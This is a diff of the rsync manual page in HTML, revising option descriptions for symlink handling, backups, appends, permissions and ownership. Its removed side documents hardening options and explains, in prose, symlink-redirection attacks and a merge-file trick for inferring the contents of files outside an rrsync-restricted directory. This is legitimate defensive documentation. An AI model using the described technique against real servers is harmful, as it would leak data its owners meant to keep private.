delete mode (which\n+was first added in 2.6.4).</p>\n <p>One side-effect of incremental recursion is that any missing\n sub-directories inside a recursively-scanned directory are (by default)\n-created prior to recursing into the sub-directories.  This earlier creation point\n+created prior to recursing into the sub-dirs.  This earlier creation point\n (compared to a non-incremental recursion) allows rsync to then set the\n modify time of the finished directory right away (without having to delay\n that until a bunch of recursive copying has finished).  However, these\n@@ -996,7 +872,7 @@ actually begins.  This early-creation idiom can be avoided by using the\n </dd>\n \n <span id=\"opt--no-i-r\"></span><dt id=\"opt--no-inc-recursive\"><code>--no-inc-recursive</code>, <code>--no-i-r</code><a href=\"#opt--no-inc-recursive\" class=\"tgt\"></a></dt><dd>\n-<p>Disables the incremental recursion algorithm of the\n+<p>Disables the new incremental recursion algorithm of the\n <a href=\"#opt--recursive\"><code>--recursive</code></a> option.  This makes rsync scan the full file list\n before it begins to transfer files.  See <a href=\"#opt--inc-recursive\"><code>--inc-recursive</code></a> for more\n info.</p>\n@@ -1006,7 +882,8 @@ info.</p>\n <p>Use relative paths.  This means that the full path names specified on the\n command line are sent to the server rather than just the last parts of the\n filenames.  This is particularly useful when you want to send several\n-different directories at the same time.  For example, this command:</p>\n+different directories at the same time.  For example, if you used this\n+command:</p>\n <blockquote>\n <pre><code>rsync -av /foo/bar/baz.c remote:/tmp/\n </code></pre>\n@@ -1021,32 +898,31 @@ you used</p>\n machine, preserving its full path.  These extra path elements are called\n &quot;implied directories&quot; (i.e. the &quot;foo&quot; and the &quot;foo/bar&quot; directories in the\n above example).</p>\n-<p>Rsync always sends these implied directories as\n+<p>Beginning with rsync 3.0.0, rsync always sends these implied directories as\n real directories in the file list, even if a path element is really a\n symlink on the sending side.  This prevents some really unexpected behaviors\n-when copying the full path of a file that has a symlink\n+when copying the full path of a file that you didn't realize had a symlink\n in its path.  If you want to duplicate a server-side symlink, include both\n-the symlink via its path, and the referent directory via its real path.  If\n+the symlink via its path, and referent directory via its real path.  If\n you're dealing with an older rsync on the sending side, you may need to use\n the <a href=\"#opt--no-implied-dirs\"><code>--no-implied-dirs</code></a> option.</p>\n <p>It is also possible to limit the amount of path information that is sent as\n implied directories for each path you specify.  With a modern rsync on the\n-sending side (beginning with 2.6.7, released March 2006),\n-you can insert a dot and a slash into\n+sending side (beginning with 2.6.7), you can insert a dot and a slash into\n the source path, like this:</p>\n <blockquote>\n <pre><code>rsync -avR /foo/./bar/baz.c remote:/tmp/\n </code></pre>\n </blockquote>\n-<p>That would create /tmp/bar/baz.c on the receiving machine. (Note that the dot\n+<p>That would create /tmp/bar/baz.c on the remote machine. (Note that the dot\n must be followed by a slash, so &quot;/foo/.&quot; would not be abbreviated.) For\n-older rsync versions, you would need to change directory to limit the source\n+older rsync versions, you would need to use a chdir to limit the source\n path.  For example, when pushing files:</p>\n <blockquote>\n <pre><code>(cd /foo; rsync -avR bar/baz.c remote:/tmp/)\n </code></pre>\n </blockquote>\n-<p>(Note that the parentheses put the two commands into a sub-shell, so that the\n+<p>(Note that the parens put the two commands into a sub-shell, so that the\n &quot;cd&quot; command doesn't remain in effect for future commands.) If you're\n pulling files from an older rsync, use this idiom (but only for a\n non-daemon transfer):</p>\n@@ -1065,32 +941,24 @@ path elements on the destination system are left unchanged if they exist,\n and any missing implied directories are created with default attributes.\n This even allows these implied path elements to have big differences, such\n as being a symlink to a directory on the receiving side.</p>\n-<p>For instance, if a command-line argument or a files-from entry told rsync to\n+<p>For instance, if a command-line arg or a files-from entry told rsync to\n transfer the file &quot;path/foo/file&quot;, the directories &quot;path&quot; and &quot;path/foo&quot;\n are implied when <a href=\"#opt--relative\"><code>--relative</code></a> is used.  If &quot;path/foo&quot; is a symlink to &quot;bar&quot;\n on the destination system, the receiving rsync would ordinarily delete\n &quot;path/foo&quot;, recreate it as a directory, and receive the file into the new\n-directory.  With <code>--no-implied-dirs</code>, the receiving rsync leaves the\n-existing &quot;path/foo&quot; symlink in place and follows it, so the file is written\n-through the symlink and ends up in &quot;path/bar&quot;.  Note the security\n-implication: a pre-existing in-tree symlink-to-directory on the receiving\n-side will redirect where the file is written, so only use\n-<code>--no-implied-dirs</code> when you trust the destination's existing path elements.\n-(A symlink whose target is absolute or escapes the destination tree is still\n-refused by the secure path resolver rather than followed.)  Another way to\n-accomplish this link preservation is to use the <a href=\"#opt--keep-dirlinks\"><code>--keep-dirlinks</code></a>\n-option (which will also affect symlinks to directories in the rest of the\n-transfer).</p>\n-<p>When pulling files from an rsync older than 3.0.0 (March 2008),\n-you may need to use this\n+directory.  With <code>--no-implied-dirs</code>, the receiving rsync updates\n+&quot;path/foo/file&quot; using the existing path elements, which means that the file\n+ends up being created in &quot;path/bar&quot;.  Another way to accomplish this link\n+preservation is to use the <a href=\"#opt--keep-dirlinks\"><code>--keep-dirlinks</code></a> option (which will also affect\n+symlinks to directories in the rest of the transfer).</p>\n+<p>When pulling files from an rsync older than 3.0.0, you may need to use this\n option if the sending side has a symlink in the path you request and you\n wish the implied directories to be transferred as normal directories.</p>\n </dd>\n \n <span id=\"opt-b\"></span><dt id=\"opt--backup\"><code>--backup</code>, <code>-b</code><a href=\"#opt--backup\" class=\"tgt\"></a></dt><dd>\n <p>With this option, preexisting destination files are renamed as each file is\n-transferred or deleted (that is, each file to be deleted or overwritten\n-gets renamed instead).  You can control where the backup file goes and\n+transferred or deleted.  You can control where the backup file goes and\n what (if any) suffix gets appended using the <a href=\"#opt--backup-dir\"><code>--backup-dir</code></a> and\n <a href=\"#opt--suffix\"><code>--suffix</code></a> options.</p>\n <p>If you don't specify <a href=\"#opt--backup-dir\"><code>--backup-dir</code></a>:</p>\n@@ -1118,9 +986,8 @@ specified directory will keep their original filenames).</p>\n <p>Note that if you specify a relative path, the backup directory will be\n relative to the destination directory, so you probably want to specify\n either an absolute path or a path that starts with &quot;../&quot;.  If an rsync\n-daemon is the receiver, the backup directory cannot go outside the module's\n-path hierarchy, so take extra care not to delete or copy into the\n-backup directory inadvertently.</p>\n+daemon is the receiver, the backup dir cannot go outside the module's path\n+hierarchy, so take extra care not to delete it or copy into it.</p>\n </dd>\n \n <dt id=\"opt--suffix\"><code>--suffix=SUFFIX</code><a href=\"#opt--suffix\" class=\"tgt\"></a></dt><dd>\n@@ -1134,10 +1001,10 @@ backup directory inadvertently.</p>\n a modified time that is newer than the source file. (If an existing\n destination file has a modification time equal to the source file's, it\n will be updated if the sizes are different.)</p>\n-<p>Note that this does not affect the copying of directories, symlinks, or other\n-special files.  Also, a difference of object type between the sender and\n+<p>Note that this does not affect the copying of dirs, symlinks, or other\n+special files.  Also, a difference of file format between the sender and\n receiver is always considered to be important enough for an update, no\n-matter what date is on the objects.  For example, if the source has a\n+matter what date is on the objects.  In other words, if the source has a\n directory where the destination has a file, the transfer would occur\n regardless of the timestamps.</p>\n <p>This option is a <a href=\"#TRANSFER_RULES\">TRANSFER RULE</a>, so don't expect any\n@@ -1185,12 +1052,13 @@ bound.  It can also help keep a copy-on-write filesystem snapshot from\n diverging the entire contents of a file that only has minor changes.</p>\n <p>The option implies <a href=\"#opt--partial\"><code>--partial</code></a> (since an interrupted transfer does\n not delete the file), but conflicts with <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a> and\n-<a href=\"#opt--delay-updates\"><code>--delay-updates</code></a>.</p>\n+<a href=\"#opt--delay-updates\"><code>--delay-updates</code></a>.  Prior to rsync 2.6.4 <code>--inplace</code> was also\n+incompatible with <a href=\"#opt--compare-dest\"><code>--compare-dest</code></a> and <a href=\"#opt--link-dest\"><code>--link-dest</code></a>.</p>\n </dd>\n \n <dt id=\"opt--append\"><code>--append</code><a href=\"#opt--append\" class=\"tgt\"></a></dt><dd>\n-<p>This special copy mode is only applicable to update files that are\n-known to be growing larger, that is, where any existing content on the receiving side\n+<p>This special copy mode only works to efficiently update files that are\n+known to be growing larger where any existing content on the receiving side\n is also known to be the same as the content on the sender.  The use of\n <code>--append</code> <strong>can be dangerous</strong> if you aren't 100% sure that all the files\n in the transfer are shared, growing files.  You should thus use filter\n@@ -1198,8 +1066,8 @@ rules to ensure that you weed out any files that do not fit this criteria.</p>\n <p>Rsync updates these growing file in-place without verifying any of the\n existing content in the file (it only verifies the content that it is\n appending).  Rsync skips any files that exist on the receiving side that\n-are not shorter than the associated file on the sending side.\n-It also skips any files whose size on the\n+are not shorter than the associated file on the sending side (which means\n+that new files are transferred).  It also skips any files whose size on the\n sending side gets shorter during the send negotiations (rsync warns about a\n &quot;diminished&quot; file when this happens).</p>\n <p>This does not interfere with the updating of a file's non-content\n@@ -1210,11 +1078,11 @@ non-regular files.</p>\n \n <dt id=\"opt--append-verify\"><code>--append-verify</code><a href=\"#opt--append-verify\" class=\"tgt\"></a></dt><dd>\n <p>This special copy mode works like <a href=\"#opt--append\"><code>--append</code></a> except that all the\n-data in the file is included in the checksum verification, making it less\n-efficient but also potentially safer.  This option <strong>can be dangerous</strong> if\n+data in the file is included in the checksum verification (making it less\n+efficient but also potentially safer).  This option <strong>can be dangerous</strong> if\n you aren't 100% sure that all the files in the transfer are shared, growing\n files.  See the <a href=\"#opt--append\"><code>--append</code></a> option for more details.</p>\n-<p>Note: prior to rsync 3.0.0 (March 2008), the <a href=\"#opt--append\"><code>--append</code></a> option worked like\n+<p>Note: prior to rsync 3.0.0, the <a href=\"#opt--append\"><code>--append</code></a> option worked like\n <code>--append-verify</code>, so if you are interacting with an older rsync (or the\n transfer is using a protocol prior to 30), specifying either append option\n will initiate an <code>--append-verify</code> transfer.</p>\n@@ -1233,21 +1101,16 @@ the directory name specified is &quot;.&quot; or ends with a trailing slash (e.g\n usage) if <a href=\"#opt--recursive\"><code>--recursive</code></a> wasn't specified (so that directories are\n seen in the listing).  Specify <code>--no-dirs</code> (or <code>--no-d</code>) if you want to\n turn this off.</p>\n-<p>See also the backward-compatibility helper option <a href=\"#opt--old-dirs\"><code>--old-dirs</code></a>.</p>\n-</dd>\n-\n-<span id=\"opt--old-d\"></span><dt id=\"opt--old-dirs\"><code>--old-dirs</code>, <code>--old-d</code><a href=\"#opt--old-dirs\" class=\"tgt\"></a></dt><dd>\n-<p>This backward-compatibility helper tells rsync to use a hack of\n-<code>-r --exclude='/*/*'</code> to get an older remote rsync to list a single directory\n-without recursing.</p>\n+<p>There is also a backward-compatibility helper option, <code>--old-dirs</code>\n+(<code>--old-d</code>) that tells rsync to use a hack of <code>-r --exclude='/*/*'</code> to get\n+an older rsync to list a single directory without recursing.</p>\n </dd>\n \n <dt id=\"opt--mkpath\"><code>--mkpath</code><a href=\"#opt--mkpath\" class=\"tgt\"></a></dt><dd>\n <p>Create all missing path components of the destination path.</p>\n-<p>By default, rsync will create only the final component of the destination path\n-if it does not exist.  If any other component does not exist that is an\n-error, as this can help to catch mistakes in the destination path specification.\n-With this option, rsync creates all the missing destination-path\n+<p>By default, rsync allows only the final component of the destination path\n+to not exist, which is an attempt to help you to validate your destination\n+path.  With this option, rsync creates all the missing destination-path\n components, just as if <code>mkdir -p $DEST_PATH</code> had been run on the receiving\n side.</p>\n <p>When specifying a destination path, including a trailing slash ensures that\n@@ -1255,11 +1118,11 @@ the whole path is treated as directory names to be created, even when the\n file list has a single item. See the <a href=\"#COPYING_TO_A_DIFFERENT_NAME\">COPYING TO A DIFFERENT NAME</a>\n section for full details on how rsync decides if a final destination-path\n component should be created as a directory or not.</p>\n-<p>If you would like the newly-created destination directories to match the directories on\n+<p>If you would like the newly-created destination dirs to match the dirs on\n the sending side, you should be using <a href=\"#opt--relative\"><code>--relative</code></a> (<code>-R</code>) instead\n of <code>--mkpath</code>.  For instance, the following two commands result in the same\n destination tree, but only the second command ensures that the\n-&quot;some/extra/path&quot; components match the directories on the sending side:</p>\n+&quot;some/extra/path&quot; components match the dirs on the sending side:</p>\n <blockquote>\n <pre><code>rsync -ai --mkpath host:some/extra/path/*.c some/extra/path/\n rsync -aiR host:some/extra/path/*.c ./\n@@ -1270,7 +1133,7 @@ rsync -aiR host:some/extra/path/*.c ./\n <span id=\"opt-l\"></span><dt id=\"opt--links\"><code>--links</code>, <code>-l</code><a href=\"#opt--links\" class=\"tgt\"></a></dt><dd>\n <p>Add symlinks to the transferred files instead of noisily ignoring them with\n a &quot;non-regular file&quot; warning for each symlink encountered.  You can\n-alternatively silence the warning by specifying <a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n+alternately silence the warning by specifying <a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n <p>The default handling of symlinks is to recreate each symlink's unchanged\n value on the receiving side.</p>\n <p>See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for multi-option info.</p>\n@@ -1284,7 +1147,12 @@ is dropped from the transfer.</p>\n <p>This option supersedes any other options that affect symlinks in the\n transfer, since there are no symlinks left in the transfer.</p>\n <p>This option does not change the handling of existing symlinks on the\n-receiving side.</p>\n+receiving side, unlike versions of rsync prior to 2.6.3 which had the\n+side-effect of telling the receiving side to also follow symlinks.  A\n+modern rsync won't forward this option to a remote receiver (since only the\n+sender needs to know about it), so this caveat should only affect someone\n+using an rsync client older than 2.6.7 (which is when <code>-L</code> stopped being\n+forwarded to the receiver).</p>\n <p>See the <a href=\"#opt--keep-dirlinks\"><code>--keep-dirlinks</code></a> (<code>-K</code>) if you need a symlink to a\n directory to be treated as a real directory on the receiving side.</p>\n <p>See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for multi-option info.</p>\n@@ -1295,17 +1163,14 @@ directory to be treated as a real directory on the receiving side.</p>\n the copied tree.  Absolute symlinks are also treated like ordinary files,\n and so are any symlinks in the source path itself when <a href=\"#opt--relative\"><code>--relative</code></a>\n is used.</p>\n-<p>A symlink is judged unsafe by a lexical test on its value, without resolving\n-it on disk.  An absolute or empty target is always unsafe.  A relative\n-target is unsafe if its &quot;..&quot; components would climb above the top of the\n-transfer; a &quot;..&quot; that appears anywhere other than as a leading prefix (an\n-embedded or trailing &quot;/..&quot;) is also treated as unsafe.  The top is set by\n-how the source is specified: a trailing slash on the source (e.g.\n-&quot;/src/subdir/&quot; copied to &quot;/dest/subdir&quot;) makes that directory itself the\n-top, so a symlink may not point above it; without the trailing slash (e.g.\n-&quot;/src/subdir&quot; copied to &quot;/dest/&quot;) the source's parent (&quot;/src&quot;) is the top,\n-so &quot;subdir&quot; is a name inside the transfer and a relative symlink may point\n-to any other name within it.</p>\n+<p>Note that the cut-off point is the top of the transfer, which is the part\n+of the path that rsync isn't mentioning in the verbose output.  If you copy\n+&quot;/src/subdir&quot; to &quot;/dest/&quot; then the &quot;subdir&quot; directory is a name inside the\n+transfer tree, not the top of the transfer (which is /src) so it is legal\n+for created relative symlinks to refer to other names inside the /src and\n+/dest directories.  If you instead copy &quot;/src/subdir/&quot; (with a trailing\n+slash) to &quot;/dest/subdir&quot; that would not allow symlinks to any files outside\n+of &quot;subdir&quot;.</p>\n <p>Note that safe symlinks are only copied if <a href=\"#opt--links\"><code>--links</code></a> was also\n specified or implied. The <code>--copy-unsafe-links</code> option has no extra effect\n when combined with <a href=\"#opt--copy-links\"><code>--copy-links</code></a>.</p>\n@@ -1321,104 +1186,40 @@ effective even when the sending side has munged symlinks (when it is using\n <a href=\"#opt--munge-links\"><code>--munge-links</code></a>). It also affects deletions, since the file being\n present in the transfer prevents any matching file on the receiver from\n being deleted when the symlink is deemed to be unsafe and is skipped.</p>\n-<p>This option has no effect unless it is combined with <a href=\"#opt--links\"><code>--links</code></a> (or\n-an option that implies <a href=\"#opt--links\"><code>--links</code></a> such as <a href=\"#opt--archive\"><code>--archive</code></a>),\n-because without <a href=\"#opt--links\"><code>--links</code></a> there will not be any symlinks in the\n-transfer.  Its effect is superseded by <a href=\"#opt--copy-unsafe-links\"><code>--copy-unsafe-links</code></a>.</p>\n+<p>This option must be combined with <a href=\"#opt--links\"><code>--links</code></a> (or\n+<a href=\"#opt--archive\"><code>--archive</code></a>) to have any symlinks in the transfer to conditionally\n+ignore. Its effect is superseded by <a href=\"#opt--copy-unsafe-links\"><code>--copy-unsafe-links</code></a>.</p>\n <p>Using this option in conjunction with <a href=\"#opt--relative\"><code>--relative</code></a> may give\n unexpected results.</p>\n <p>See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for multi-option info.</p>\n </dd>\n \n-<dt id=\"opt--insecure-links\"><code>--insecure-links</code><a href=\"#opt--insecure-links\" class=\"tgt\"></a></dt><dd>\n-<p>By default rsync resolves the directory and file paths that the <strong>operator</strong>\n-supplies on the command line with a defensive directory-tree walk that\n-<strong>follows a symlink component only when it is owned by uid&nbsp;0 or by the\n-running user</strong>, and\n-refuses one owned by any other user.  This stops an attacker who can write\n-inside one of those directories from planting a symlink that\n-redirects a privileged rsync to a target outside the intended tree, while\n-still honouring the operator's own symlinks.\n-The rule is the same for absolute and relative paths.\n-This applies to the destination directory and to the parameters to the\n-following options: <code>--backup-dir</code>, <code>--temp-dir</code>/<code>-T</code>,\n-<code>--partial-dir</code>, <code>--link-dest</code>, <code>--compare-dest</code>, <code>--copy-dest</code>, <code>--log-file</code>,\n-<code>--password-file</code>, <code>--files-from</code>, <code>--include-from</code>, <code>--exclude-from</code>,\n-<code>--filter</code> merge files, <code>--write-batch</code> and <code>--read-batch</code>.</p>\n-<p><code>--insecure-links</code> turns that defence off, restoring the historical behaviour\n-of following any symlink in those paths.  Use it only when you fully trust\n-every directory along each operator-supplied path, as it re-exposes the\n-symlink-redirection attacks the walk prevents.</p>\n-<p>The option is <strong>local only</strong>: it is not sent to the remote side of the\n-transfer.  A remote-shell peer that needs the opt-out must set it there, e.g.\n-via <a href=\"#opt--rsync-path\"><code>--rsync-path</code></a>), and a daemon never honours it&nbsp;-&#8288;-&#8288; a daemon that\n-receives <code>--insecure-links</code> from a client refuses the request.  A daemon\n-administrator who wants the legacy behaviour for a single trusted module sets\n-&quot;<code>insecure links = yes</code>&quot; in that module's <strong>rsyncd.conf</strong>(5) section instead;\n-a client can never enable it.</p>\n-<p>See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for multi-option info.</p>\n-</dd>\n-\n-<dt id=\"opt--confine-root\"><code>--confine-root=DIR</code><a href=\"#opt--confine-root\" class=\"tgt\"></a></dt><dd>\n-<p>In the default symlink mode this bounds where operator option paths and\n-paths selected from a <a href=\"#opt--files-from\"><code>--files-from</code></a> list are allowed to resolve:\n-one that ends up outside DIR is refused, even if every symlink along it was\n-owned by a trusted user. Explicit source roots remain operator-selected\n-transfer roots.\n-The ownership walk asks who planted a link; this asks where the path came\n-out.</p>\n-<p>DIR must be absolute.  Nothing is confined by default, and\n-<code>--confine-root=/</code> is a no-op.</p>\n-<p>It exists for a wrapper that serves a restricted directory over a remote\n-shell, <code>rrsync</code> being the one shipped here, which passes it automatically\n-whenever its restricted dir is not &quot;<code>/</code>&quot;.  Such a wrapper can vet the argv\n-it is handed, but filter rules travel over the protocol instead: a client\n-can name a merge file outside the restricted dir in a dir-merge rule and\n-have the server read it in as filter rules.  On a pull that needs neither\n-<code>--delete</code> nor any verbosity, because an exclude-only merge (the &quot;<code>-</code>&quot;\n-modifier) makes every line a pattern, and the client reads the file's\n-contents off which of its own names went missing.  Confining the open is\n-what closes that; a merge file inside DIR keeps working as before.</p>\n-<p>A daemon ignores this option&nbsp;-&#8288;-&#8288; its module directory is already the\n-boundary, and the option arrives in a client-supplied argv, so honouring it\n-could only widen the module.</p>\n-<p><a href=\"#opt--insecure-links\"><code>--insecure-links</code></a> is refused alongside it.  That opt-out restores\n-the historical open, which skips the walk that enforces the root, so the two\n-together would silently mean no confinement at all.</p>\n-<p>Like <a href=\"#opt--drop-D\"><code>--drop-D</code></a>, it is not forwarded to the remote side: it is meant\n-to be applied to one end of a connection by itself.</p>\n-</dd>\n-\n <dt id=\"opt--munge-links\"><code>--munge-links</code><a href=\"#opt--munge-links\" class=\"tgt\"></a></dt><dd>\n <p>This option affects just one side of the transfer and tells rsync to munge\n symlink values when it is receiving files or unmunge symlink values when it\n-is sending files.\n-&quot;Munging&quot; changes the symlink target so that the symlink cannot be followed\n-successfully, but allows the original target of the symlink to be\n-recovered. &quot;Unmunging&quot; reverses this process so that the symlink points to\n-the original target.</p>\n-<p>This option can be enabled on the server side without the client's\n+is sending files.  The munged values make the symlinks unusable on disk but\n+allows the original contents of the symlinks to be recovered.</p>\n+<p>The server-side rsync often enables this option without the client's\n knowledge, such as in an rsync daemon's configuration file or by an option\n given to the rrsync (restricted rsync) script.  When specified on the\n client side, specify the option normally if it is the client side that\n-has or needs the munged symlinks, or use <code>-M--munge-links</code> to give the option\n-to the server when it has or needs the munged symlinks.  Note that on a local\n+has/needs the munged symlinks, or use <code>-M--munge-links</code> to give the option\n+to the server when it has/needs the munged symlinks.  Note that on a local\n transfer, the client is the sender, so specifying the option directly\n unmunges symlinks while specifying it as a remote option munges symlinks.</p>\n <p>This option has no effect when sent to a daemon via <a href=\"#opt--remote-option\"><code>--remote-option</code></a>\n because the daemon configures whether it wants munged symlinks via its\n &quot;<code>munge symlinks</code>&quot; parameter.</p>\n-<p>The symlink value is munged or unmunged once it is in the transfer, so any\n+<p>The symlink value is munged/unmunged once it is in the transfer, so any\n option that transforms symlinks into non-symlinks occurs prior to the\n munging/unmunging <strong>except</strong> for <a href=\"#opt--safe-links\"><code>--safe-links</code></a>, which is a choice\n that the receiver makes, so it bases its decision on the munged/unmunged\n-value.  This does mean that if a receiver has munging enabled, using\n-<a href=\"#opt--safe-links\"><code>--safe-links</code></a> will cause all symlinks to be ignored (since munging\n-makes them all absolute).</p>\n-<p>The method that rsync uses to munge a symlink is to prefix its\n-value with the string &quot;/rsyncd-munged/&quot;.  This prevents the link from\n-being used, provided that the /rsyncd-munged directory does not exist.\n-When this option is\n+value.  This does mean that if a receiver has munging enabled, that using\n+<a href=\"#opt--safe-links\"><code>--safe-links</code></a> will cause all symlinks to be ignored (since they\n+are all absolute).</p>\n+<p>The method that rsync uses to munge the symlinks is to prefix each one's\n+value with the string &quot;/rsyncd-munged/&quot;.  This prevents the links from\n+being used as long as the directory does not exist.  When this option is\n enabled, rsync will refuse to run if that path is a directory or a symlink\n to a directory (though it only checks at startup).  See also the\n &quot;munge-symlinks&quot; python script in the support directory of the source code\n@@ -1438,12 +1239,16 @@ the way of the new symlink, including a directory hierarchy (as long as\n receiving side.</p>\n <p><code>--copy-dirlinks</code> applies to all symlinks to directories in the source.  If\n you want to follow only a few specified symlinks, a trick you can use is to\n-pass them as additional source arguments with a trailing slash, using\n+pass them as additional source args with a trailing slash, using\n <a href=\"#opt--relative\"><code>--relative</code></a> to make the paths match up right.  For example:</p>\n <blockquote>\n <pre><code>rsync -r --relative src/./ src/./follow-me/ dest/\n </code></pre>\n </blockquote>\n+<p>This works because rsync calls <strong>lstat</strong>(2) on the source arg as given, and\n+the trailing slash makes <strong>lstat</strong>(2) follow the symlink, giving rise to a\n+directory in the file-list which overrides the symlink found during the\n+scan of &quot;src/./&quot;.</p>\n <p>See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for multi-option info.</p>\n </dd>\n \n@@ -1453,13 +1258,13 @@ though it were a real directory, but only if it matches a real directory\n from the sender.  Without this option, the receiver's symlink would be\n deleted and replaced with a real directory.</p>\n <p>For example, suppose you transfer a directory &quot;foo&quot; that contains a file\n-&quot;file&quot;, but on the receiver, &quot;foo&quot; is a symlink to directory &quot;bar&quot;.  Without\n+&quot;file&quot;, but &quot;foo&quot; is a symlink to directory &quot;bar&quot; on the receiver.  Without\n <code>--keep-dirlinks</code>, the receiver deletes symlink &quot;foo&quot;, recreates it as a\n directory, and receives the file into the new directory.  With\n <code>--keep-dirlinks</code>, the receiver keeps the symlink and &quot;file&quot; ends up in\n &quot;bar&quot;.</p>\n-<p>One note of caution: if you use <code>--keep-dirlinks</code>, you must either trust all the\n-symlinks in the copy, or enable the <a href=\"#opt--munge-links\"><code>--munge-links</code></a> option on the\n+<p>One note of caution: if you use <code>--keep-dirlinks</code>, you must trust all the\n+symlinks in the copy or enable the <a href=\"#opt--munge-links\"><code>--munge-links</code></a> option on the\n receiving side!  If it is possible for an untrusted user to create their\n own symlink to any real directory, the user could then (on a subsequent\n copy) replace the symlink with a real directory and affect the content of\n@@ -1536,7 +1341,7 @@ that all non-masked bits get enabled).  If you'd care to make this latter\n behavior easier to type, you could define a popt alias for it, such as\n putting this line in the file <code>~/.popt</code> (the following defines the <code>-Z</code>\n option, and includes <code>--no-g</code> to use the default group of the destination\n-directory):</p>\n+dir):</p>\n <blockquote>\n <pre><code> rsync alias -Z --no-p --no-g --chmod=ugo=rwX\n </code></pre>\n@@ -1548,14 +1353,20 @@ directory):</p>\n </blockquote>\n <p>(Caveat: make sure that <code>-a</code> does not follow <code>-Z</code>, or it will re-enable the\n two <code>--no-*</code> options mentioned above.)</p>\n-<p>Note that if the remote rsync is older than 2.6.7 (March 2006) and it is\n-the receiver, the behavior when <code>--perms</code> is off may differ from that\n-described above.</p>\n+<p>The preservation of the destination's setgid bit on newly-created\n+directories when <code>--perms</code> is off was added in rsync 2.6.7.  Older rsync\n+versions erroneously preserved the three special permission bits for\n+newly-created files when <code>--perms</code> was off, while overriding the\n+destination's setgid bit setting on a newly-created directory.  Default ACL\n+observance was added to the ACL patch for rsync 2.6.7, so older (or\n+non-ACL-enabled) rsyncs use the umask even if default ACLs are present.\n+(Keep in mind that it is the version of the receiving rsync that affects\n+these behaviors.)</p>\n </dd>\n \n <span id=\"opt-E\"></span><dt id=\"opt--executability\"><code>--executability</code>, <code>-E</code><a href=\"#opt--executability\" class=\"tgt\"></a></dt><dd>\n-<p>This option causes rsync to preserve the executability or\n-non-executability of regular files when <a href=\"#opt--perms\"><code>--perms</code></a> is not enabled.\n+<p>This option causes rsync to preserve the executability (or\n+non-executability) of regular files when <a href=\"#opt--perms\"><code>--perms</code></a> is not enabled.\n A regular file is considered to be executable if at least one 'x' is turned\n on in its permissions.  When an existing destination file's executability\n differs from that of the corresponding source file, rsync modifies the\n@@ -1632,14 +1443,6 @@ consistent executability across all bits:</p>\n <pre><code>--chmod=D2775,F664\n </code></pre>\n </blockquote>\n-<p>Symbolic permission-copy modes are also allowed, such as <code>g=u</code>, <code>o=g</code> or\n-<code>g-o</code>.  A permission-copy item may copy from one class only (<code>u</code>, <code>g</code> or\n-<code>o</code>) and cannot be combined with <code>rwxXst</code> permission letters in the same\n-item.  Use comma-separated items when you need both behaviours, such as\n-<code>g=o,o=</code>.</p>\n-<p>A permission-copy <code>=</code> item also clears the special bit for each destination\n-class it updates (<code>u</code> clears setuid, <code>g</code> clears setgid, and <code>o</code> clears\n-sticky), matching GNU <strong>chmod</strong> behaviour.</p>\n <p>It is also legal to specify multiple <code>--chmod</code> options, as each additional\n option is just appended to the list of changes to make.</p>\n <p>See the <a href=\"#opt--perms\"><code>--perms</code></a> and <a href=\"#opt--executability\"><code>--executability</code></a> options for how the\n@@ -1647,9 +1450,8 @@ resulting permission value can be applied to the files in the transfer.</p>\n </dd>\n \n <span id=\"opt-o\"></span><dt id=\"opt--owner\"><code>--owner</code>, <code>-o</code><a href=\"#opt--owner\" class=\"tgt\"></a></dt><dd>\n-<p>This option causes rsync to set the owner of each destination filesystem\n-object (file, directory, etc.) to be the\n-same as the source object, but only if the receiving rsync is being run as\n+<p>This option causes rsync to set the owner of the destination file to be the\n+same as the source file, but only if the receiving rsync is being run as\n the super-user (see also the <a href=\"#opt--super\"><code>--super</code></a> and <a href=\"#opt--fake-super\"><code>--fake-super</code></a>\n options).  Without this option, the owner of new and/or transferred files\n are set to the invoking user on the receiving side.</p>\n@@ -1659,9 +1461,8 @@ may fall back to using the ID number in some circumstances (see also the\n </dd>\n \n <span id=\"opt-g\"></span><dt id=\"opt--group\"><code>--group</code>, <code>-g</code><a href=\"#opt--group\" class=\"tgt\"></a></dt><dd>\n-<p>This option causes rsync to set the group of each destination filesystem\n-object (file, directory, etc.) to be the\n-same as the source object.  If the receiving program is not running as the\n+<p>This option causes rsync to set the group of the destination file to be the\n+same as the source file.  If the receiving program is not running as the\n super-user (or if <code>--no-super</code> was specified), only groups that the\n invoking user on the receiving side is a member of will be preserved.\n Without this option, the group is set to the default group of the invoking\n@@ -1673,19 +1474,19 @@ default, but may fall back to using the ID number in some circumstances\n \n <dt id=\"opt--devices\"><code>--devices</code><a href=\"#opt--devices\" class=\"tgt\"></a></dt><dd>\n <p>This option causes rsync to transfer character and block device files to\n-the remote system to recreate these devices.  This option has no effect if\n-the receiving rsync is not run as the super-user and neither\n-<a href=\"#opt--super\"><code>--super</code></a> nor <a href=\"#opt--fake-super\"><code>--fake-super</code></a> is in effect.</p>\n-<p>When a device file is not created, rsync generates the usual &quot;non-regular\n-file&quot; warning.  You can silence the warning by specifying\n-<a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n+the remote system to recreate these devices.  If the receiving rsync is not\n+being run as the super-user, rsync silently skips creating the device files\n+(see also the <a href=\"#opt--super\"><code>--super</code></a> and <a href=\"#opt--fake-super\"><code>--fake-super</code></a> options).</p>\n+<p>By default, rsync generates a &quot;non-regular file&quot; warning for each device\n+file encountered when this option is not set.  You can silence the warning\n+by specifying <a href=\"#opt--info\"><code>--info=nonreg0</code></a>.</p>\n </dd>\n \n <dt id=\"opt--specials\"><code>--specials</code><a href=\"#opt--specials\" class=\"tgt\"></a></dt><dd>\n <p>This option causes rsync to transfer special files, such as named sockets\n-and fifos.  Creating these files does not normally require super-user\n-privileges.  Use <a href=\"#opt--drop-D\"><code>--drop-D</code></a> to make the receiving rsync refuse to\n-create them regardless of what the transfer requested.</p>\n+and fifos.  If the receiving rsync is not being run as the super-user,\n+rsync silently skips creating the special files (see also the\n+<a href=\"#opt--super\"><code>--super</code></a> and 